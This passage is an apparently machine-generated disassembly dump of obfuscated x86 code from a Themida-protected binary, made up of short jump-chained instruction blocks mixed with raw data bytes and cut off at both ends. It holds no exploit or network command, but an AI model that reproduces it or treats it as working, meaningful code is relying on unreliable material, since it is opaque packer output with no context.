68E78957h, 4B0h dd 0FFB7C7E9h db 0FFh ; --------------------------------------------------------------------------- loc_54FCFD: ; CODE XREF: Themida_:0054AC2Bj shr ecx, 4 sub ecx, 84F364Eh xor ecx, 0E18CABE2h sub ecx, esi jmp loc_55234D ; --------------------------------------------------------------------------- db 51h dd 42474FFh, 24048F59h, 0FFD7DBE9h, 7DEB80FFh, 0FFB6FEE9h db 0FFh ; --------------------------------------------------------------------------- loc_54FD29: ; CODE XREF: Themida_:0054A515j push esi mov esi, 7E7D76FAh inc esi not esi or esi, 7A9D457Eh sub esi, 59E74C0Ch sub esi, 8F284ED6h jmp loc_5466E8 ; --------------------------------------------------------------------------- db 5Ch, 89h, 3Ch dd 34FF5424h, 0C4815F24h, 4, 4C781h, 0BE560000h, 4, 0FFA22FE9h dd 58C129FFh, 5C240C87h, 24048966h, 0FF6491E9h, 0E2C142FFh dd 58EA8104h, 0E96BF83Dh, 0FFFF78ACh, 11F0B951h, 0E1C157A7h dd 0FA88E902h, 835EFFFFh, 0EE904C4h, 0FFFFFF68h, 8B042474h dd 0C4832434h, 987AE904h, 492CFFFFh, 0AEDFE95Bh, 48BFFFFh dd 0A9C7E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FDBE: ; CODE XREF: Themida_:00550E3Dj mov [esp], ebx push 3847h mov [esp], edx push 4EAA74BBh mov edx, [esp] push ebp jmp loc_546A92 ; --------------------------------------------------------------------------- db 8Bh dd 0C4832434h, 0ADBA5204h, 816B2E60h, 0C666C8C2h, 81D2F779h dd 913CC9C2h, 0F2814A2Ch, 479C7556h, 815AD601h, 2C6h, 55F46800h dd 34890000h, 2474FF24h, 2434FF04h, 4C4815Eh, 8F000000h dd 248B2404h, 2404D324h, 63E4E99Ch, 3605FFFFh, 5B6AB221h dd 0FFEDDBE9h, 4C483FFh, 59FC68h, 24148900h, 0FF70B7E9h dd 51C3B7FFh, 0EDC081B5h, 0C0C5FE05h, 76E904EDh, 1FFFFAEh dd 0AEB81C3h, 8116B740h, 9A4A77EBh, 1C875852h, 34FF5C24h dd 1C05E924h, 81580000h, 4C4h, 4C48100h, 83000000h, 348904ECh dd 124CE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54FE86: ; CODE XREF: Themida_:0054B672j pop esp push 5C55h mov [esp], ebx push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] jmp loc_551D0A ; --------------------------------------------------------------------------- dw 431h dd 24043324h, 2404085Ch, 6354E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FEB6: ; CODE XREF: Themida_:0054EA55j add [esp+4], edi mov edi, [esp] sub esp, 4 mov [esp], ebx mov ebx, esp push ebp mov ebp, 27FB6D0Ah dec ebp shl ebp, 8 push ebx mov ebx, 7D90319h or ebp, ebx pop ebx dec ebp shl ebp, 8 add ebp, 2F4E804h jmp loc_54A3DF ; --------------------------------------------------------------------------- db 81h dd 0D43D16C2h, 0B1F4E945h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FEF2: ; CODE XREF: Themida_:0054C919j sub dword ptr [esp], 9E9477Bh jmp loc_54D4C7 ; --------------------------------------------------------------------------- dw 895Ch dd 6855243Ch, 50C655C9h, 7EF5815Dh, 81070370h, 0B84169EDh dd 0B8504530h, 3F703642h, 9F760A35h, 5D0F755h, 0B26E424Bh dd 0F7484840h, 8612DD0h, 0C5318C5Ah, 5DEF8958h, 0FFF88CE9h dd 0E9D301FFh, 0FFFFB6DBh, 6D66F681h, 0F7319656h, 0E9F8295Eh dd 0FFFFB6B8h, 0E902E2C1h, 0FFFF87B6h, 5D20C181h, 0F9017C9Dh dd 5D20E981h, 0B8507C9Dh, 394B64B0h, 0E8C1D0F7h, 14F75004h dd 0C1405824h, 0F7E908E0h, 81FFFFEEh, 4C5h, 4ED8300h, 1922E9h dd 6274E900h, 76BEFFFFh, 0C169287Eh, 0CE8103EEh, 5F8B283Bh dd 2F68146h, 895FAF30h, 244EE9F2h, 1C330000h, 24248B24h dd 24042166h, 6248E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FFC2: ; CODE XREF: Themida_:005468C8j mov dl, 0DEh jmp loc_54C58D ; --------------------------------------------------------------------------- loc_54FFC9: ; CODE XREF: Themida_:00550DFBj add al, dl pop edx push dword ptr [esp] pop edx jmp loc_54C734 ; --------------------------------------------------------------------------- db 89h, 3Ch, 24h dd 6850E789h, 6601h, 0E9243489h, 0FFFFBF54h, 6BB5E952h dd 248BFFFFh, 2424D224h, 6210E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FFFA: ; CODE XREF: Themida_:00551000j add ecx, 4 push ecx push dword ptr [esp+4] push dword ptr [esp] pop ecx jmp loc_54CF12 ; --------------------------------------------------------------------------- dw 0E389h dd 4B850h, 0C3010000h, 0BB1E958h, 0F9BA0000h, 814C235Bh dd 416978EAh, 52E2D141h, 5A2414F7h, 0FFF17DE9h db 0FFh ; --------------------------------------------------------------------------- loc_550035: ; CODE XREF: Themida_:0054EE0Aj push 316Bh mov [esp], edi mov edi, esp push ebp mov ebp, 4 add edi, ebp pop ebp sub edi, 4 push edi push dword ptr [esp+4] mov edi, [esp] add esp, 4 pop dword ptr [esp] pop esp mov [esp], edi mov edi, 80h jmp loc_551080 ; --------------------------------------------------------------------------- dw 0BA52h dd 4, 835AD001h, 43304C0h, 24043124h, 8B240433h, 0C6012424h dd 6C2CB951h, 98E975CCh, 5CFFFFEBh, 0FFE0B8E9h db 0FFh ; --------------------------------------------------------------------------- loc_550095: ; CODE XREF: Themida_:0054E69Ej mov [esp], edx mov edx, esp push eax mov eax, 4 add edx, eax jmp loc_550E8B ; --------------------------------------------------------------------------- loc_5500A7: ; CODE XREF: Themida_:00548D1Aj shr edx, 2 push 0 jmp loc_54A57B ; --------------------------------------------------------------------------- dd 535EF731h, 0E56DA2BBh, 0D969E91Ch, 0E958FFFFh, 0FFFFD1C9h dd 0E94F04ACh, 0FFFFB533h ; --------------------------------------------------------------------------- loc_5500D0: ; CODE XREF: Themida_:0054C61Fj jmp loc_54620A ; --------------------------------------------------------------------------- db 87h, 2Ch, 24h dd 0D324248Bh, 0E99C243Ch, 0FFFF6126h, 33243431h, 248B2434h dd 0C4E3E924h, 895CFFFFh, 0FE959CBh, 29FFFF61h, 0BFE95FFAh dd 5DFFFF74h, 0FFD593E9h, 2BDFFh, 0E9010000h, 9D5E9h, 4EC8300h dd 0BA241489h, 51F8758Eh, 0F707E2C1h, 92C0E9D2h, 0C8BFFFFh dd 4C48324h, 1E9C381h, 0C3295AD3h, 1E9EB81h, 0B8E95AD3h dd 81FFFFCDh, 7B5C47C6h, 0B19CE963h, 0D366FFFFh, 0E99C2404h dd 0FFFF60B2h ; --------------------------------------------------------------------------- loc_550158: ; CODE XREF: Themida_:00549E37j add eax, 6D354FF9h pop edi add eax, 4 xchg eax, [esp] pop esp or eax, eax jz loc_54E699 push dword ptr [edi+28h] add dword ptr [esp], 6FDA416Ch jmp loc_549E54 ; --------------------------------------------------------------------------- loc_55017E: ; CODE XREF: Themida_:0054D068j push ecx mov ecx, 200000h and eax, ecx jmp loc_547BA6 ; --------------------------------------------------------------------------- db 52h dd 0D6F6E688h, 305AF488h, 30E230D4h, 8CA3E9D4h, 2C33FFFFh dd 8DE95C24h, 81FFFFDCh, 4C4h, 0E9D3F600h, 0FFFFCFC6h dd 0D0285966h, 63E95A04h, 81FFFF83h, 0BE3C63EAh, 81C2011Eh dd 0BE3C63C2h, 24048B1Eh, 104C483h, 4EC81C2h, 89000000h dd 0F7B82404h, 811CE47Eh, 8E28B8C2h, 81C2294Fh, 8E28B8EAh dd 24048B4Fh, 55E08950h, 0FFE211E9h, 81DAF7FFh, 1C237CEAh dd 2E2C149h, 0EA814A4Ah, 0F9D3390Eh, 525AD001h, 17CAE9h dd 30F6800h, 1C890000h, 4EC8124h, 0E9000000h, 0FFFF9191h dd 0ABE9E789h, 0B9000003h, 29BF039Ah, 5F37BA52h, 79E904DDh dd 81000014h, 4ECh, 24148900h, 0E904EC83h, 10A1h, 4BEh dd 1768E900h, 895C0000h, 27BB241Ch, 0F7500B03h, 1A38E9DBh dd 0EF810000h, 33AE3130h, 0C781CF01h, 33AE3130h, 243C8759h dd 4EC835Ch, 0B8240489h, 23C742D0h, 152DE9h, 3C895C00h dd 2474FF24h, 48F5F04h, 24248B24h, 676768h, 24348900h dd 0C6815E54h, 4, 107E68h, 24148900h, 4BAh, 1EE8100h, 2950B769h dd 1BD55D6h, 150B769h, 148B5DEEh, 903BE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_54F960 ; --------------------------------------------------------------------------- db 5Ah dd 0FF98FBE9h, 61A00DFFh, 12053146h, 1998792h, 38E958C7h db 21h, 2 dup(0) ; --------------------------------------------------------------------------- loc_550303: ; CODE XREF: Themida_:005480D4j add ebx, ebp pop ebp jmp loc_54C0B3 ; --------------------------------------------------------------------------- db 66h dd 2404BB0Fh, 5EF4E99Ch, 0E2C1FFFFh, 8E7FE905h, 0F66FFFFh dd 9FE9C8B6h, 0BEFFFFE7h, 59FC1CB2h, 0FF6743E9h, 241C33FFh dd 0FFCD62E9h, 66922CFFh, 28B7B753h, 1C8B66F8h, 0E3895324h dd 4C381h, 0C3810000h, 2, 31241C33h, 1C33241Ch, 0F7685C24h dd 8900002Ch, 0CFB3241Ch, 0B5515066h, 2809B490h, 240C8BECh dd 0E904C483h, 0FFFF7338h, 0A8E9D801h, 81000023h, 4ECh dd 240C8900h, 0B15131B1h, 0CE9802Ch, 0FFCF59E9h, 242C89FFh dd 0FD1DC4BDh, 0D6CD817Ah, 811CD277h, 0D463F9E5h, 81D5F768h dd 2B9C2BEDh, 5DEB2997h, 8B241C87h, 0C892424h, 0B694E924h dd 8358FFFFh, 3C8904ECh, 68E78924h, 1EFFh, 0BD242C89h dd 4, 95E9EF01h, 52FFFF88h, 0FF8C5FE9h, 74FF50FFh, 93E90424h dd 1FFFF99h, 24148BD3h, 0FFAC3EE9h, 7BBD55FFh, 2151750Dh dd 0A8E95DE8h db 0B0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55040B: ; CODE XREF: Themida_:0054903Aj xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp mov [esp], esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] xor [esp], ax pushf jmp loc_54DF99 ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 0B9240C89h, 0ED67911h, 77E9h, 0FFC83100h, 50592434h dd 32E95854h, 8BFFFFB7h, 89512414h, 4C181E1h, 83000000h dd 0C8704C1h, 0A7E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_550462: ; CODE XREF: Themida_:0054B221j add esp, 4 jmp loc_54DEED ; --------------------------------------------------------------------------- db 81h, 0C2h, 0FEh dd 5A14BF8h, 29A3027Dh, 90E9D001h, 35FFFF96h, 91015589h dd 3358C101h, 0D9E9240Ch, 89FFFFBFh, 0D10158C2h, 8324148Bh dd 0C18104C4h, 4, 0FF9848E9h db 0FFh ; --------------------------------------------------------------------------- loc_5504A5: ; CODE XREF: Themida_:00550575j pop edi push ecx mov ecx, esp add ecx, 4 jmp loc_548557 ; --------------------------------------------------------------------------- dd 4908E9C1h, 4E9C149h, 3CF168h, 24148900h, 9E4652BAh dd 7378E938h, 1C8BFFFFh, 4C48124h, 81000000h, 2C6h, 24343300h dd 0FFFBFFE9h, 2434FFFFh, 0FFD8A7E9h, 88E288FFh, 24148BD1h dd 0E9E08950h, 0FFFF74D3h, 0FF5D09E9h, 243C89FFh, 1F89E9h dd 0E7685C00h, 8900004Fh, 0BFBB241Ch, 0E940D73Ah, 0FFFFEB16h ; --------------------------------------------------------------------------- loc_55051C: ; CODE XREF: Themida_:00547CE8j push 0FFFFh push dword ptr [esp] mov ebx, [esp] add esp, 4 add esp, 4 and eax, ebx mov ebx, [esp] push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp jmp loc_550FF5 ; --------------------------------------------------------------------------- loc_55054D: ; CODE XREF: Themida_:0054664Dj not ch and ch, 0ABh xor ch, 9Eh xor dl, ch pop ecx sub al, 32h add al, dl push edx push ecx mov cl, 32h mov dl, cl jmp loc_550DF5 ; --------------------------------------------------------------------------- loc_550567: ; CODE XREF: Themida_:00551501j push 5EBAh mov [esp], edi mov eax, [esp] add esp, 4 jmp loc_5504A5 ; --------------------------------------------------------------------------- dw 8B5Dh dd 0C4832414h, 4382D04h, 0A3053435h, 147302Fh, 2FA32DD8h dd 38054730h, 81343504h, 4ECh, 24348900h, 892AD6BEh, 5EF0013Fh dd 436568h, 0D8CE900h, 55560000h, 4BDh, 0A7D5E900h, 0E953FFFFh dd 1571h ; --------------------------------------------------------------------------- loc_5505C4: ; CODE XREF: Themida_:0054ED8Ej push eax mov eax, esp add eax, 4 add eax, 4 jmp loc_5526BC ; --------------------------------------------------------------------------- loc_5505D4: ; CODE XREF: Themida_:0054EB9Bj sub bl, ch push dword ptr [esp] jmp loc_54F6A6 ; --------------------------------------------------------------------------- dw 0C781h dd 4, 8704EF83h, 895C243Ch, 0C6B1240Ch, 0FFDFCAE9h, 0E0055EFFh dd 105CC53h, 53E02DC8h, 0C8B05CCh, 0E7895724h, 0FFB35AE9h dd 4C483FFh, 4BF57h, 60E90000h db 8, 2 dup(0) ; --------------------------------------------------------------------------- loc_55061B: ; CODE XREF: Themida_:0054A96Ej pop ecx jmp loc_54EDE1 ; --------------------------------------------------------------------------- loc_550621: ; CODE XREF: Themida_:0054A501j pop dx jmp loc_5507F4 ; --------------------------------------------------------------------------- dd 46EB815Ah, 2925A645h, 46C381C3h, 5225A645h, 9F6CA0BAh dd 0E9D3012Ch, 0FFFFC424h, 246E93BAh, 26C38107h, 0E90BB465h dd 1B19h, 3EC5C581h, 0EB01A3A7h, 0EE9515Dh, 81FFFF81h dd 4C2h, 4C28100h, 33000000h, 14312414h, 24143324h, 5B8CE95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55067E: ; CODE XREF: Themida_:0054F302j pop esp or eax, eax jz loc_54E045 push dword ptr [edi+1Ch] push dword ptr [esp] mov ecx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 jmp loc_550924 ; --------------------------------------------------------------------------- dd 0E9B1F680h, 0FFFF5C86h, 0C181F901h, 62D705C2h, 59C8315Fh dd 0FF6AEBE9h db 0FFh ; --------------------------------------------------------------------------- loc_5506BD: ; CODE XREF: Themida_:0054A9E8j push 706Fh mov [esp], ecx sub esp, 4 mov [esp], ebx jmp loc_548838 ; --------------------------------------------------------------------------- loc_5506D3: ; CODE XREF: Themida_:00546A86j push edx mov edx, 16A827D0h jmp loc_54AEEB ; --------------------------------------------------------------------------- dw 1C31h dd 241C3324h, 48B665Ch, 0E2895224h, 1574E956h, 0ACB30000h dd 0EB80C3FEh, 5BD82897h, 1604D800h, 5B2434FFh, 0E9E68956h dd 11h, 8B04C483h, 0C4812414h, 4, 0FF8115E9h, 4C681FFh dd 83000000h, 348704C6h, 1BE95C24h, 81FFFFD0h, 3B34C9C6h dd 24148B00h, 0FFAB2EE9h, 4055AFFh, 87000000h, 248B2404h dd 0F9685124h, 0E900002Fh, 0FFFFB00Ch, 42BDCF81h, 0F7814971h dd 0CAEDA79h, 34FFFA31h, 0C4835F24h, 240C8B04h, 4C481h dd 0C9090000h, 0D9D3840Fh, 8368FFFFh, 5400007Bh, 0E924048Fh dd 0FFFF95DCh, 240C8B66h, 0E9E38953h, 0FFFFED23h ; --------------------------------------------------------------------------- loc_550794: ; CODE XREF: Themida_:00546D2Bj xor ebp, esi pop esi add ecx, ebp mov ebp, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp add ecx, 2 jmp loc_54F8DE ; --------------------------------------------------------------------------- dw 6858h dd 18EBh, 54241C89h, 5B9515Bh, 81756D17h, 0BB13A6E9h, 26E98125h dd 0E965B526h, 0FFFFCCA2h, 6DD568h, 24048900h, 0FFA3FDE9h dd 24248BFFh, 0E9240C8Bh, 0FFFFEF1Bh ; --------------------------------------------------------------------------- loc_5507F4: ; CODE XREF: Themida_:00550623j movzx eax, al jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- dw 0C361h dd 24048B66h, 4EC81h, 0C890000h, 50626824h, 24890000h dd 24048324h, 240C8B04h, 4C481h, 0C1810000h, 4, 2BE56h dd 0D7E90000h, 81FFFFB5h, 0CDD708C6h, 5EF78926h, 2414F757h dd 81E7D15Fh, 0DE30ECF7h, 0E9F82932h, 0FFFF623Fh, 83243489h dd 148904ECh, 0E57CE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55085A: ; CODE XREF: Themida_:0054E137j push edx mov edx, 51815F9Ch shr edx, 3 push eax mov eax, 0A302BF2h sub edx, eax pop eax add esi, edx pop edx or esi, 732B7E69h jmp loc_546A85 ; --------------------------------------------------------------------------- loc_55087A: ; CODE XREF: Themida_:0055230Aj pop esi jmp loc_54688A ; --------------------------------------------------------------------------- dd 0C7815F54h, 4, 17E9E9h, 0E9D6F700h, 0FFFF8754h, 24048B66h dd 0FFF04FE9h, 0F4C381FFh, 0E960FC27h, 0FFFFADA2h, 0D7B7CBB6h dd 2841EF80h, 41C780F7h, 0E949045Ah, 0FFFFD80Dh, 4B05E3B9h dd 61E94116h, 5CFFFFADh, 2474FF51h, 48F5904h, 24248B24h dd 0FF672EE9h, 0CF8147FFh, 1E347ACBh, 0FFF166E9h, 4BA52FFh dd 1000000h, 24148BD7h, 4C481h, 3C870000h, 9101E924h, 34FFFFFFh dd 2434FF24h, 0E92434FFh, 0FFFF94C5h ; --------------------------------------------------------------------------- loc_55090C: ; CODE XREF: Themida_:00547F0Ej mov eax, edx pop edx pop ebx jmp loc_54B466 ; --------------------------------------------------------------------------- db 66h, 0Fh, 0BEh dd 0DA1DE9C8h, 0E95EFFFFh, 0FFFFE022h ; --------------------------------------------------------------------------- loc_550924: ; CODE XREF: Themida_:0055069Fj xchg esi, [esp] mov esp, [esp] push eax push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] jmp loc_549597 ; --------------------------------------------------------------------------- dw 0F681h dd 22D81EEFh, 339ACE81h, 1E9620Eh, 5000001Ch, 88525152h dd 5AD188FAh, 5359CE88h, 0F888F788h, 0C2885A5Bh, 8BD18858h dd 0C4832414h, 247C8A04h, 244C8802h, 0E9596602h, 0BC7h ; --------------------------------------------------------------------------- loc_550980: ; CODE XREF: Themida_:0054F49Dj sub ebx, 142430FFh pop edi shl ebx, 5 add ebx, 0E4F37100h and eax, ebx jmp loc_54BA08 ; --------------------------------------------------------------------------- db 0FFh dd 835A2434h, 0C28104C4h, 4, 0E902C283h, 0FFFFC774h ; --------------------------------------------------------------------------- loc_5509AC: ; CODE XREF: Themida_:0054DA12j push esi jmp loc_552604 ; --------------------------------------------------------------------------- dw 83ADh dd 148904ECh, 930EE924h, 0F280FFFFh, 0B35366AEh, 0BCF380B7h dd 0E922C380h, 0FFFFBA5Ch, 8850C1FEh, 88D188CCh, 0C16FE9E2h dd 535BFFFFh, 0C381E389h, 4, 0FFD576E9h db 0FFh ; --------------------------------------------------------------------------- loc_5509ED: ; CODE XREF: Themida_:00548C3Fj add esp, 4 add ecx, 4 sub esp, 4 mov [esp], ebp mov ebp, 4 sub ecx, ebp pop ebp push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] jmp loc_54D9B1 ; --------------------------------------------------------------------------- loc_550A12: ; CODE XREF: Themida_:0054F2FAj and esi, 0FB73F42h dec esi xor esi, 41235A3Ah add esi, 3F2C1C78h xor esi, 0C8322EF2h push eax mov eax, esi mov edi, eax pop eax pop esi sub [esp+4], edi pop edi mov eax, [esp] push esi mov esi, esp add esi, 4 push ecx mov ecx, 4 add esi, ecx pop ecx xchg esi, [esp] pop esp jmp loc_54D9D9 ; --------------------------------------------------------------------------- loc_550A55: ; CODE XREF: Themida_:00547EF8j mov esi, 1 push ecx push 24h pop ecx jmp loc_5528EA ; --------------------------------------------------------------------------- dw 0C788h dd 585BFA88h, 8017B652h, 0D2E94BE6h db 5Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550A77: ; CODE XREF: Themida_:0054C307j push dword ptr [esp] pop eax sub esp, 4 mov [esp], edi push esp jmp loc_54CF75 ; --------------------------------------------------------------------------- loc_550A87: ; CODE XREF: Themida_:00548AADj add bl, al mov ax, [esp] add esp, 2 sub bl, 0F7h add bl, al add bl, 0F7h sub bl, 80h sub bl, 0F4h movzx eax, al push dword ptr [edi+eax*4] jmp loc_54620A ; --------------------------------------------------------------------------- loc_550AAC: ; CODE XREF: Themida_:0054BBFAj add ebp, ebx pop ebx push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp or edx, eax jmp loc_547EEE ; --------------------------------------------------------------------------- dd 8324048Bh, 895304C4h, 4C381E3h, 52000000h, 4BAh, 0F2BA5200h dd 0E927CA06h, 0FFFFF913h, 70431568h, 0E7ECE950h, 2C8BFFFFh dd 4C48324h, 8B240C87h, 1662424h, 0E99C2404h, 0FFFF570Ah dd 8904EC83h, 74FF2414h, 8F5A0424h, 248B2404h, 0C8B60F24h dd 629E68h, 241C8900h, 0BA52E389h, 4, 347EEB81h, 0BA522754h dd 38EC6753h, 1CE9EA81h, 0DAE970C8h, 81FFFFB3h, 4EDh, 242C3300h dd 0E9242C31h, 0FFFFDD78h, 242C8152h, 6F6538A9h, 83241C8Bh dd 0BA5204C4h, 4FBB1FA0h, 8104EAC1h, 57171FEAh, 20EA8175h dd 8146914Dh, 8E38ACEAh, 0C9CA8138h, 513A246Fh, 404726B9h dd 59CA29CBh, 5A5AD301h, 2EB46852h, 34FF2C9Dh, 0D676E924h dd 0CB05FFFFh, 1219771h, 24048BC3h, 4C481h, 1C330000h dd 241C3124h, 0FFF780E9h, 24048BFFh, 5E04C483h, 0E788E981h dd 0CA29F2CDh, 5644E959h, 3C89FFFFh, 6BE95524h, 50000017h dd 2B8h, 55EB8100h, 118B311h, 55C381C3h, 0FF18B311h, 0E9582434h dd 0FFFF8DD1h, 712E958h, 81660000h, 66028ACFh, 0B48BC781h dd 8BFA0166h, 97E9243Ch db 91h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550C07: ; CODE XREF: Themida_:0054B987j add edx, 4 add edx, 4 xchg edx, [esp] pop esp xor edx, 2E5E7B1Eh sub esp, 4 mov [esp], esi mov esi, 586595BBh sub edx, esi pop esi xor eax, edx pop edx jmp loc_547CE7 ; --------------------------------------------------------------------------- dd 4EC81h, 34890000h, 4BE24h, 0F1010000h, 8124348Bh, 4C4h dd 0E9555000h, 0FFFFE352h ; --------------------------------------------------------------------------- loc_550C50: ; CODE XREF: Themida_:00546F2Aj add dword ptr [esp], 4 pop ebp push 648Bh mov [esp], ebx mov ebx, 4 add ebp, ebx mov ebx, [esp] jmp loc_54C771 ; --------------------------------------------------------------------------- dd 4C481h, 14330000h, 80A5E924h, 0C381FFFFh, 759945BFh dd 416CC381h, 0EAE91B82h db 0E2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550C8B: ; CODE XREF: Themida_:0054CCAEj add esi, 4 add esi, 4 xchg esi, [esp] pop esp loc_550C9B: ; CODE XREF: Themida_:0055287Dj push ebx push ebx push ecx push 7EF93D8Eh pop ecx jmp loc_54E354 ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 12BB68h, 242C8900h, 6856E589h, 4, 876DE95Eh, 0C89FFFFh dd 5540E924h, 0C481FFFFh, 4, 0FF60BDE9h, 2C181FFh, 33000000h dd 72E9240Ch, 0D3FFFF67h, 0E99C242Ch, 0FFFF551Eh, 0F8288A2Ch dd 535B8A04h, 0FFFD6DE9h, 242489FFh, 4240483h, 4B8505Fh dd 1000000h, 0BA5258C7h, 411D6107h, 9EFDC281h, 0D701BEE2h dd 74FF575Ah, 79E90424h db 0A7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550D23: ; CODE XREF: Themida_:00547FF1j mov [esp], edx push eax jmp loc_54F5CB ; --------------------------------------------------------------------------- loc_550D2C: ; CODE XREF: Themida_:005492DCj sub esi, 61312717h inc esi add esi, 530E18D4h mov edx, esi pop esi sub [edi+24h], edx push dword ptr [esp] mov edx, [esp] add esp, 4 add esp, 4 push edx mov edx, esp add edx, 4 jmp loc_550DBA ; --------------------------------------------------------------------------- dd 5B0DEE80h, 30566866h, 24048966h, 519768h, 241C8900h dd 0DC88F388h, 6853665Bh, 68FCh, 88241489h, 5AF788E6h dd 10E9C7FEh, 46000018h, 17BBF681h, 0E6C13A60h, 0EACE8107h dd 81795E37h, 0AF65E5EEh, 5EF22905h, 9C64252Dh, 70D12D66h dd 0F105774Bh, 292C833Ch, 0F3BE9D0h db 2 dup(0) ; --------------------------------------------------------------------------- loc_550DBA: ; CODE XREF: Themida_:00550D57j sub edx, 4 xchg edx, [esp] pop esp jmp loc_5518E1 ; --------------------------------------------------------------------------- dw 0EF81h dd 4A3F6E17h, 0FF79FAE9h, 2DD829FFh, 7D127543h, 133FE9h dd 4EDC100h, 4C41B951h, 0E9521F77h, 0FFFF8232h ; --------------------------------------------------------------------------- loc_550DEC: ; CODE XREF: Themida_:00551A49j pop edx mov edi, [esp] jmp loc_548B04 ; --------------------------------------------------------------------------- loc_550DF5: ; CODE XREF: Themida_:00550562j mov ecx, [esp] add esp, 4 jmp loc_54FFC9 ; --------------------------------------------------------------------------- loc_550E00: ; CODE XREF: Themida_:005525F4j mov ecx, [esp] jmp loc_54C0A0 ; --------------------------------------------------------------------------- loc_550E08: ; CODE XREF: Themida_:00549CE8j mov edx, 32DE3433h push 0CD21CBD1h mov ebx, [esp] jmp loc_54DD43 ; --------------------------------------------------------------------------- loc_550E1A: ; CODE XREF: Themida_:0054A097j add esp, 4 sub eax, 17C95629h mov ebp, [esp] push ebx push esp pop ebx push esi mov esi, 4 add ebx, esi pop esi add ebx, 4 xchg ebx, [esp] pop esp push 664Dh jmp loc_54FDBE ; --------------------------------------------------------------------------- loc_550E42: ; CODE XREF: Themida_:005493E5j push ebx mov bl, 5Bh jmp loc_549359 ; --------------------------------------------------------------------------- dw 0EA81h dd 0E3B12919h, 148BD031h, 8727E924h, 5255FFFFh, 0C281E289h dd 4, 4EA81h, 14870000h, 3C895C24h, 11C9BF24h, 0E1E90202h dd 1FFFF69h, 243C8BF9h, 4C481h, 37E90000h db 5, 2 dup(0) ; --------------------------------------------------------------------------- loc_550E8B: ; CODE XREF: Themida_:005500A2j push dword ptr [esp] pop eax jmp loc_54C028 ; --------------------------------------------------------------------------- loc_550E94: ; CODE XREF: Themida_:0054D8E7j pop esp jmp loc_5489D7 ; --------------------------------------------------------------------------- dw 8B66h dd 50E92404h, 1FFFFDBh, 0E9015DE9h, 287AE981h, 835D06F0h dd 48904ECh, 2B824h, 0AAE90000h, 81FFFFEEh, 0FA40C4C7h dd 0C7815868h, 27532F39h, 0FFC4E2E9h db 0FFh ; --------------------------------------------------------------------------- loc_550ED1: ; CODE XREF: Themida_:0054BD63j mov eax, [esp] jmp loc_54CFC6 ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 0C8CE9h, 0C8B6600h, 0E6895624h, 4C681h, 0EE830000h dd 0A8E95604h db 64h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550EF7: ; CODE XREF: Themida_:0054803Fj xor esi, eax xor eax, esi and eax, 55DF6872h add eax, 46B47EBBh xor eax, 4BB49D07h add edi, eax mov eax, [esp] add esp, 4 jmp loc_551DC3 ; --------------------------------------------------------------------------- dw 0E94Ah dd 2B1h ; --------------------------------------------------------------------------- loc_550F20: ; CODE XREF: Themida_:00551BF7j mov ebx, 10692B72h neg ebx push ebp mov ebp, 61D17FA3h or ebx, ebp pop ebp sub ebx, 3ED659BAh add ebx, 4EFE5A0Bh jmp loc_54D7AF ; --------------------------------------------------------------------------- db 59h, 81h, 0EEh dd 637B5C47h, 0FFACB2E9h, 35F181FFh, 1FBE630h, 0E95559CBh dd 0FFFFB1AEh, 4CF9C381h, 0E9572BC0h, 0FFFFDBCEh ; --------------------------------------------------------------------------- loc_550F68: ; CODE XREF: Themida_:00548B05j mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp xchg edx, edi not edx jmp loc_546D7A ; --------------------------------------------------------------------------- dd 0B034E950h, 7FE9FFFFh, 68FFFF52h, 1235h, 89240C89h dd 123768E1h, 3C890000h, 53BDBF24h, 0B850526Ch, 356F73B8h dd 937ED305h, 642F0D4Bh, 0C1403431h, 0EC8106E0h, 4, 0BA241489h dd 31A243Fh, 0FF5562E9h db 0FFh ; --------------------------------------------------------------------------- loc_550FC9: ; CODE XREF: Themida_:0054DFB3j not ebp add ebp, 0FD2DEFB0h sub ebx, ebp mov ebp, [esp] add esp, 4 push edx jmp loc_547F0C ; --------------------------------------------------------------------------- loc_550FE2: ; CODE XREF: Themida_:00552117j push edx sub esp, 4 jmp loc_5481F8 ; --------------------------------------------------------------------------- db 8Bh dd 5457240Ch, 0FF767EE9h db 0FFh ; --------------------------------------------------------------------------- loc_550FF5: ; CODE XREF: Themida_:00550548j mov [esp], ecx mov ecx, esp add ecx, 4 jmp loc_54FFFA ; --------------------------------------------------------------------------- db 5Ch, 8Fh, 4 dd 2CD25C24h, 0F7E99C24h, 0BAFFFF51h, 212E3BA6h, 0CBE9D329h dd 81000003h, 8604246Ch, 16B2D6Bh, 81042474h, 86042444h dd 0FF6B2D6Bh, 835E2434h, 685804C4h, 3FFCh, 0BD242C89h dd 52C47280h, 7821F581h, 